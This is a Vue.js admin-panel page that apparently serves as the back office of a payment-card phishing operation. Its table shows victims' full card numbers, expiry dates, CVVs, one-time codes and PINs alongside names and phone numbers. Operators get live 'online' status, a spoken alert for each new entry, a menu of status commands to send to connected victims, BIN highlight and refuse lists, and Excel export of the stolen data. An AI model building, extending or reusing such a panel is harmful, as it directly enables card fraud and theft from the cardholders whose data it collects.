<template>
  <div class="app-container">
    <el-tabs v-model="queryParams.status" @tab-click="resetQuery">
      <el-tab-pane
        v-for="dict in dict.type.card_status"
        :key="dict.value"
        :label="dict.label"
        :name="dict.value"
      />
    </el-tabs>
    <el-form
      v-show="showSearch"
      v-if="queryParams.status !== '400'"
      ref="queryForm"
      :model="queryParams"
      size="small"
      :inline="true"
      label-width="68px"
    >
      <el-form-item label="时间范围" prop="time">
        <el-date-picker
          v-model="queryParams.time"
          type="datetimerange"
          range-separator="至"
          start-placeholder="开始日期"
          end-placeholder="结束日期"
          format="yyyy-MM-dd HH:mm:ss"
          value-format="yyyy-MM-dd HH:mm:ss"
        />
      </el-form-item>

      <el-form-item label="卡号" prop="cardNumber">
        <el-input
          v-model="queryParams.cardNumber"
          placeholder="请输入卡号"
          clearable
          @keyup.enter.native="handleQuery"
        />
      </el-form-item>
      <el-form-item label="网站" prop="refUrl">
        <el-select v-model="queryParams.refUrl" clearable placeholder="请选择">
          <el-option
            v-for="(web, webIdx) in webUrls"
            :key="webIdx"
            :value="web"
            :label="web"
          />
        </el-select>
      </el-form-item>

      <el-form-item label="导出状态" prop="isExp">
        <el-select v-model="queryParams.isExp" clearable placeholder="可多选">
          <el-option
            v-for="(exp, expIdx) in dict.type.export_status"
            :key="expIdx"
            :value="exp.value"
            :label="exp.label"
          />
        </el-select>
      </el-form-item>
      <el-form-item label="卡类型" prop="cardType">
        <el-select
          v-model="queryParams.cardType"
          clearable
          placeholder="可多选"
        >
          <el-option
            v-for="(dit, idx) in dict.type.card_type"
            :key="idx"
            :value="dit.value"
            :label="dit.label"
          />
        </el-select>
      </el-form-item>
      <el-form-item
        v-if="['200', '100'].includes(queryParams.status)"
        label="手机尾号"
        prop="phone"
      >
        <el-input
          v-model="queryParams.phone"
          placeholder="请输入后四位"
          clearable
          @keyup.enter.native="handleQuery"
        />
      </el-form-item>
      <el-form-item>
        <el-button
          type="primary"
          icon="el-icon-search"
          size="mini"
          @click="handleQuery"
          >搜索</el-button
        >
        <el-button icon="el-icon-refresh" size="mini" @click="resetQuery"
          >重置</el-button
        >
      </el-form-item>
    </el-form>

    <el-row :gutter="10" class="mb8">
      <template v-if="['200', '1', '100'].includes(queryParams.status)">
        <el-col v-if="['200', '1'].includes(queryParams.status)" :span="1.5">
          <el-button
            v-hasPermi="['system:dyUserinfo:edit']"
            type="success"
            plain
            icon="el-icon-edit"
            size="mini"
            :disabled="multiple"
            @click="handleOver"
            >完成</el-button
          >
        </el-col>
        <el-col :span="1.5">
          <el-button
            v-hasPermi="['system:dyUserinfo:remove']"
            type="danger"
            plain
            icon="el-icon-delete"
            size="mini"
            :disabled="multiple"
            @click="handleDelete"
            >删除</el-button
          >
        </el-col>
      </template>
      <el-col
        v-if="['200', '1', '100'].includes(queryParams.status)"
        :span="1.5"
      >
        <el-button
          v-hasPermi="['system:dyUserinfo:export']"
          type="warning"
          plain
          icon="el-icon-download"
          size="mini"
          @click="handleExport"
          >导出</el-button
        >
      </el-col>
      <right-toolbar
        :show-search.sync="showSearch"
        @queryTable="() => getList()"
      />
    </el-row>

    <el-table
      v-loading="loading"
      :data="dyUserinfoList"
      border=""
      :row-class-name="tableRowClassName"
      @selection-change="handleSelectionChange"
    >
      <el-table-column type="selection" width="55" align="center" />
      <el-table-column label="主键" align="center" prop="id">
        <template slot-scope="{ row }">
          <div
            :class="
              row.isHighlight ? 'high-light' : row.isRefuse ? 'refuse' : ''
            "
          >
            {{ row.id }}
          </div>
        </template>
      </el-table-column>
      <el-table-column label="订单ID" align="center" prop="orderId" />
      <el-table-column
        v-if="queryParams.status === '1'"
        label="在线状态"
        align="center"
        prop="isOnline"
      >
        <template slot-scope="scope">
          <dict-tag
            :options="dict.type.online_status"
            :value="scope.row.isOnline"
          />
        </template>
      </el-table-column>
      <el-table-column
        label="用户操作"
        align="center"
        width="120"
        prop="operationRecord"
      >
        <template slot-scope="scope">
          <div class="fs12">{{ scope.row.operationRecord }}</div>
        </template>
      </el-table-column>
      <!-- <el-table-column label="REF" align="center" prop="refUrl" width="180" /> -->
      <!-- <el-table-column label="姓氏" align="center" prop="firstName" /> -->
      <!-- <el-table-column label="名字" align="center" prop="lastName" /> -->
      <!-- <el-table-column label="商品名称" align="center" prop="itemName" /> -->
      <!-- <el-table-column label="商品价格" align="center" prop="price" width="180"/> -->
      <el-table-column label="手机" align="center" prop="phone" width="180" />
      <!-- <el-table-column label="邮箱" align="center" prop="email" /> -->
      <el-table-column
        label="姓名"
        align="center"
        prop="cardName"
        width="180"
      />
      <el-table-column label="国家" align="center" prop="country" />
      <!-- <el-table-column label="地区" align="center" prop="state" /> -->
      <!-- <el-table-column label="城市" align="center" prop="city" width="180"/> -->
      <!-- <el-table-column label="地址1" align="center" prop="address1" />
      <el-table-column label="地址2" align="center" prop="address2" />
      <el-table-column label="ZIP" align="center" prop="zip" /> -->

      <el-table-column
        label="卡号"
        align="center"
        prop="cardNumberShow"
        width="180"
      >
        <template slot-scope="scope">
          <div
            :class="
              scope.row.isHighlight
                ? 'high-light'
                : scope.row.isRefuse
                ? 'refuse'
                : ''
            "
          >
            {{ scope.row.cardNumberShow }}
          </div>
        </template>
      </el-table-column>
      <el-table-column label="有效期" align="center" prop="cardDate" />
      <el-table-column label="CVV" align="center" prop="cvv" />
      <el-table-column label="OPT" align="center" prop="otp" />
      <el-table-column label="PIN" align="center" prop="pin" />
      <!-- <el-table-column label="IP" align="center" prop="ip" /> -->
      <!-- <el-table-column label="国家" align="center" prop="cardCountry" /> -->
      <!-- <el-table-column label="发卡机构" align="center" prop="cardScheme" /> -->
      <!-- <el-table-column label="类型" align="center" prop="cardType" />
      <el-table-column label="等级" align="center" prop="cardBrand" /> -->
      <!-- <el-table-column label="银行" align="center" prop="cardBank" /> -->
      <el-table-column
        label="订单时间"
        align="center"
        prop="creatTime"
        width="180"
      />

      <el-table-column
        label="设备类型"
        width="280"
        align="center"
        prop="status"
      >
        <template slot-scope="scope">
          {{ scope.row.userAgent | mobileType }}
        </template>
      </el-table-column>

      <el-table-column label="是否导出" width="100" align="isExp" prop="isExp">
        <template slot-scope="scope">
          <span v-if="scope.row.isExp == 1">是</span>
          <span v-if="scope.row.isExp == 0">否</span>
        </template>
      </el-table-column>

      <el-table-column
        v-if="queryParams.status !== '400'"
        label="操作"
        align="center"
        class-name="small-padding fixed-width"
        fixed="right"
        :width="appConfig.tgOpen ? 240 : 190"
      >
        <template slot-scope="scope">
          <el-dropdown
            v-if="
              queryParams.status === '1' &&
              (scope.row.isOnline || appConfig.tgOpen)
            "
            @command="(cm) => handleCommand(cm, scope.row)"
          >
            <!-- v-if="queryParams.status === '1' && scope.row.isOnline" -->
            <span class="mlr10">
              更多操作<i class="el-icon-arrow-down el-icon--right" />
            </span>
            <el-dropdown-menu slot="dropdown">
              <el-dropdown-item
                v-for="item in operateBtn"
                :key="item.status"
                :command="item.status"
                >{{ item.name }}</el-dropdown-item
              >
            </el-dropdown-menu>
          </el-dropdown>
          <el-button
            v-if="queryParams.status === '1' && !scope.row.isOnline"
            v-hasPermi="['system:dyUserinfo:edit']"
            size="mini"
            type="text"
            @click="handleOver(scope.row)"
            >已完成</el-button
          >

          <el-button type="text" size="mini" @click="handleUpdate(scope.row)"
            >详情</el-button
          >
          <el-button
            v-hasPermi="['system:dyUserinfo:remove']"
            size="mini"
            type="text"
            @click="handleDelete(scope.row)"
            >删除</el-button
          >
        </template>
      </el-table-column>
    </el-table>

    <pagination
      v-show="total > 0"
      :total="total"
      :page.sync="queryParams.pageNum"
      :limit.sync="queryParams.pageSize"
      @pagination="(pageParams) => getList(null, pageParams)"
    />

    <!-- 添加或修改信息对话框 -->
    <el-dialog :title="title" :visible.sync="open" width="500px" append-to-body>
      <el-form ref="form" :model="form" :rules="rules" label-width="80px">
        <el-form-item label="商品名称" prop="itemName">
          <el-input
            v-model="form.itemName"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="商品价格" prop="price">
          <el-input v-model="form.price" placeholder="请输入商品价格" />
        </el-form-item>
        <el-form-item label="手机" prop="phone">
          <el-input
            v-model="form.phone"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="邮箱" prop="email">
          <el-input
            v-model="form.email"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="国家" prop="country">
          <el-input
            v-model="form.country"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="地区" prop="state">
          <el-input
            v-model="form.state"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="城市" prop="city">
          <el-input v-model="form.city" type="input" placeholder="请输入内容" />
        </el-form-item>
        <el-form-item label="地址1" prop="address1">
          <el-input
            v-model="form.address1"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="地址2" prop="address2">
          <el-input
            v-model="form.address2"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="ZIP" prop="zip">
          <el-input v-model="form.zip" type="input" placeholder="请输入内容" />
        </el-form-item>
        <el-form-item label="姓名/卡主姓名" prop="cardName">
          <el-input
            v-model="form.cardName"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="卡号" prop="cardNumber">
          <el-input
            v-model="form.cardNumber"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="有效期" prop="cardDate">
          <el-input
            v-model="form.cardDate"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="CVV" prop="cvv">
          <el-input v-model="form.cvv" type="input" placeholder="请输入内容" />
        </el-form-item>
        <el-form-item label="国家" prop="cardCountry">
          <el-input
            v-model="form.cardCountry"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="发卡机构" prop="cardScheme">
          <el-input
            v-model="form.cardScheme"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="等级" prop="cardBrand">
          <el-input
            v-model="form.cardBrand"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="银行" prop="cardBank">
          <el-input
            v-model="form.cardBank"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="卡状态" prop="status">
          <el-select v-model="form.status" placeholder="请选择卡状态">
            <el-option
              v-for="dict in dict.type.card_status"
              :key="dict.value"
              :label="dict.label"
              :value="parseInt(dict.value)"
            />
          </el-select>
        </el-form-item>
        <el-form-item label="操作说明" prop="operationRecord">
          <el-input
            v-model="form.operationRecord"
            type="input"
            placeholder="请输入内容"
          />
        </el-form-item>
        <el-form-item label="验证码" prop="otp">
          <el-input v-model="form.otp" placeholder="请输入验证码" />
        </el-form-item>
      </el-form>
      <div slot="footer" class="dialog-footer">
        <el-button type="primary" @click="submitForm">确 定</el-button>
        <el-button @click="cancel">取 消</el-button>
      </div>
    </el-dialog>
    <Detail v-if="showDetail" v-model="showDetail" :obj="currentItem" />
    <Release
      v-if="showReleaseDialog"
      v-model="showReleaseDialog"
      :obj="currentItem"
      :release-status="commandStatus"
      @after-save="getList"
    />
  </div>
</template>

<script>
import {
  listDyUserinfo,
  getDyUserinfo,
  delDyUserinfo,
  addDyUserinfo,
  updateDyUserinfo,
  delDyUserOver,
} from "@/api/system/dyUserinfo";
import Detail from "./components/DetailDialog.vue";
import { mapGetters } from "vuex";
import { operateBtn } from "./const";
import Release from "./components/ReleaseDialog.vue";
var MobileDetect = require("mobile-detect/mobile-detect");
const speechSynth = window.speechSynthesis;
const speech = new SpeechSynthesisUtterance();
console.log(MobileDetect);
export default {
  name: "DyUserinfo",
  dicts: [
    "card_status",
    "online_status",
    "card_type",
    "export_status",
    "web_url",
  ],
  components: { Detail, Release },
  filters: {
    mobileType(userAgent) {
      var md = new MobileDetect(userAgent); // 初始化mobile-detect
      var os = md.os(); // 获取系统
      var model = "";
      if (os == "iOS") {
        // ios系统的处理
        const isIpad = md.mobile() === "iPad";
        os = md.os() + md.version(isIpad ? "iPad" : "iPhone");
        model = md.mobile();
      } else if (os == "AndroidOS") {
        // Android系统的处理
        os = md.os() + md.version("Android");
        var sss = userAgent.split(";");
        var i = sss.findIndex((item) => item.includes("Build/"));
        if (i > -1) {
          model = sss[i].substring(0, sss[i].indexOf("Build/"));
        }
      } else {
        var Agents = [
          "Android",
          "iPhone",
          "SymbianOS",
          "Windows Phone",
          "iPad",
          "iPod",
        ];
        model = Agents.indexOf(os) > -1 ? os : "PC";
      }
      return os + " " + model;
    },
  },
  data() {
    return {
      operateBtn,
      timer: null,
      showDetail: false,
      showReleaseDialog: false,
      commandStatus: 1,
      currentItem: {},
      // 遮罩层
      loading: false,
      // 选中数组
      ids: [],
      // 非单个禁用
      single: true,
      // 非多个禁用
      multiple: true,
      // 显示搜索条件
      showSearch: true,
      // 总条数
      total: 0,
      intervalList: [],
      intervalTotal: 0,
      // 信息表格数据
      dyUserinfoList: [],
      // 弹出层标题
      title: "",
      // 是否显示弹出层
      open: false,
      // 查询参数
      queryParams: {
        pageNum: 1,
        pageSize: 10,
        phone: null,
        country: null,
        city: null,
        cardNumber: null,
        cvv: null,
        time: [],
        status: "1",
        refUrl: null,
        isExp: null,
        cardType: null,
        ids: [], // 如果需要按照选中的导出，添加这个数组参数。记录id非orderId
        params: {
          beginCreatTime: null,
          endCreatTime: null,
        },
      },
      // 表单参数
      form: {},
      // 表单校验
      rules: {},
    };
  },
  created() {
    this.startPolling();
  },
  computed: {
    ...mapGetters(["appConfig"]),
    webUrls() {
      return this.appConfig.storeName.split(",") || [];
    },
    highlightCards() {
      return this.appConfig.highlightCards.split(",");
    },
    refuseCards() {
      return this.appConfig.refuseCards.split(",");
    },
    refreshRate() {
      return this.appConfig.refreshRate;
    },
  },
  beforeRouteLeave(to, from, next) {
    // ...
    this.stopPolling();
    next();
  },
  beforeDestroy() {
    this.stopPolling();
  },
  methods: {
    handleCommand(status, row) {
      const id = row.id || this.ids;
      if ([2, 3, 5, 7, 9].includes(+status)) {
        this.currentItem = row;
        this.commandStatus = +status;
        this.showReleaseDialog = true;
      } else {
        this.$modal
          .confirm("是否确认处理？")
          .then(function () {
            return updateDyUserinfo({ id, status });
          })
          .then(() => {
            this.getList();
            this.$modal.msgSuccess("放行成功!");
          })
          .catch(() => {});
      }
    },

    tableRowClassName({ row }) {
      // 根据行数据判断并返回类名
      if (row.isOnline === 1) {
        return "on-line";
      }
      if (row.isRefuse === 1) {
        return "refuse";
      }
      if (row.isHighlight === 1) {
        return "high-light";
      }
      return "";
    },
    startPolling() {
      // 设定轮询间隔，例如每5秒轮询一次
      const interval = this.refreshRate * 1000;
      this.timer = setInterval(() => {
        this.getList("1");
      }, interval);
      // if (+this.queryParams.status !== 1) {
      this.getList();
      // }
    },
    stopPolling() {
      if (this.timer) {
        clearInterval(this.timer);
        this.timer = null;
      }
    },
    speak(text = "叮咚!您有新的订单需要处理!") {
      speech.text = text; // 播报消息
      speech.lang = "zh-CN"; // 设置语言
      speech.pitch = 2;
      speech.volume = 1;
      speech.rate = 1;
      speechSynth.speak(speech); // 播报消息
    },
    cancelSpeak() {
      speechSynth.cancel();
    },
    // 使用例子
    /** 查询信息列表 */
    getList(status, pageParams) {
      this.loading = false;
      if (this.queryParams.time != null && this.queryParams.time != "") {
        this.queryParams.params.beginCreatTime = this.queryParams.time[0];
        this.queryParams.params.endCreatTime = this.queryParams.time[1];
      } else {
        this.queryParams.params.beginCreatTime = null;
        this.queryParams.params.endCreatTime = null;
      }

      let params = { ...this.queryParams };
      if (status) {
        params.status = status;
      }
      params = { ...params, ...pageParams };
      if (status === "1") {
        params = { ...this.queryParams, status: "1", pageNum: 1 };
      }
      listDyUserinfo({ ...params }).then((response) => {
        const resList = response.rows.map((item) => {
          const cardType = item.cardType
            ? item.cardType.split(",")[0].toUpperCase()
            : "";
          const text =
            cardType === "CREDIT"
              ? "C"
              : cardType === "DEBIT"
              ? "D"
              : cardType === "PREPAID"
              ? "P"
              : "";
          const highTitle =
            item.cardNumber && item.cardNumber.length > 6
              ? `${item.cardNumber.substr(0, 6)}`
              : item.cardNumber;
          return {
            ...item,
            cardNumberShow: `${item.cardNumber}-[${text}]`,
            isHighlight: this.highlightCards.includes(highTitle) ? 1 : 0,
            isRefuse: this.refuseCards.includes(highTitle) ? 1 : 0,
          };
        });
        if (status === "1") {
          if (
            response.total > this.intervalTotal &&
            this.intervalTotal !== 0 &&
            +this.appConfig.tgMsg
          ) {
            // if(+this.appConfig.tgMsg){
            this.cancelSpeak();
            this.speak();
            // }
          }
          if (
            this.queryParams.status === "1" &&
            this.queryParams.pageNum === 1
          ) {
            this.dyUserinfoList = resList;
            this.total = response.total;
            this.intervalTotal = response.total;
          } else {
            this.intervalTotal = response.total;
            this.intervalList = resList;
          }
        } else {
          this.dyUserinfoList = resList;
          this.total = response.total;
        }
        // this.loading = false;
      });
    },
    // 取消按钮
    cancel() {
      this.open = false;
      this.reset();
    },
    /** 搜索按钮操作 */
    handleQuery() {
      this.queryParams.pageNum = 1;
      this.getList();
    },
    /** 重置按钮操作 */
    resetQuery() {
      this.resetForm("queryForm");
      this.handleQuery();
    },
    // 多选框选中数据
    handleSelectionChange(selection) {
      if (selection.length) {
        this.stopPolling();
      } else {
        this.startPolling();
      }
      this.ids = selection.map((item) => item.id);
      this.single = selection.length !== 1;
      this.multiple = !selection.length;
    },
    /** 新增按钮操作 */
    handleAdd() {
      this.reset();
      this.open = true;
      this.title = "添加信息";
    },
    /** 修改按钮操作 */
    handleUpdate(row) {
      this.title = "详情信息";
      this.currentItem = row;
      this.showDetail = true;
    },
    /** 提交按钮 */
    submitForm() {
      this.$refs["form"].validate((valid) => {
        if (valid) {
          if (this.form.id != null) {
            updateDyUserinfo(this.form).then((response) => {
              this.$modal.msgSuccess("修改成功");
              this.open = false;
              this.getList();
            });
          } else {
            addDyUserinfo(this.form).then((response) => {
              this.$modal.msgSuccess("新增成功");
              this.open = false;
              this.getList();
            });
          }
        }
      });
    },
    /** 删除按钮操作 */
    handleDelete(row) {
      const ids = row.id || this.ids;
      this.$modal
        .confirm('是否确认删除信息编号为"' + ids + '"的数据项？')
        .then(function () {
          return delDyUserinfo(ids);
        })
        .then(() => {
          this.getList();
          this.$modal.msgSuccess("删除成功");
        })
        .catch(() => {});
    },

    handleOver(row) {
      const id = row.id || this.ids;
      this.$modal
        .confirm("是否确认处理完成？")
        .then(function () {
          return updateDyUserinfo({ id, status: 200 });
        })
        .then(() => {
          this.getList();
          this.$modal.msgSuccess("处理成功");
        })
        .catch(() => {});
    },
    /** 导出按钮操作 */
    async handleExport() {
      await this.download(
        "system/dyUserinfo/export",
        {
          ...this.queryParams,
        },
        `dyUserinfo_${new Date().getTime()}.xlsx`
      );
      this.ids = [];
    },
  },
};
</script>
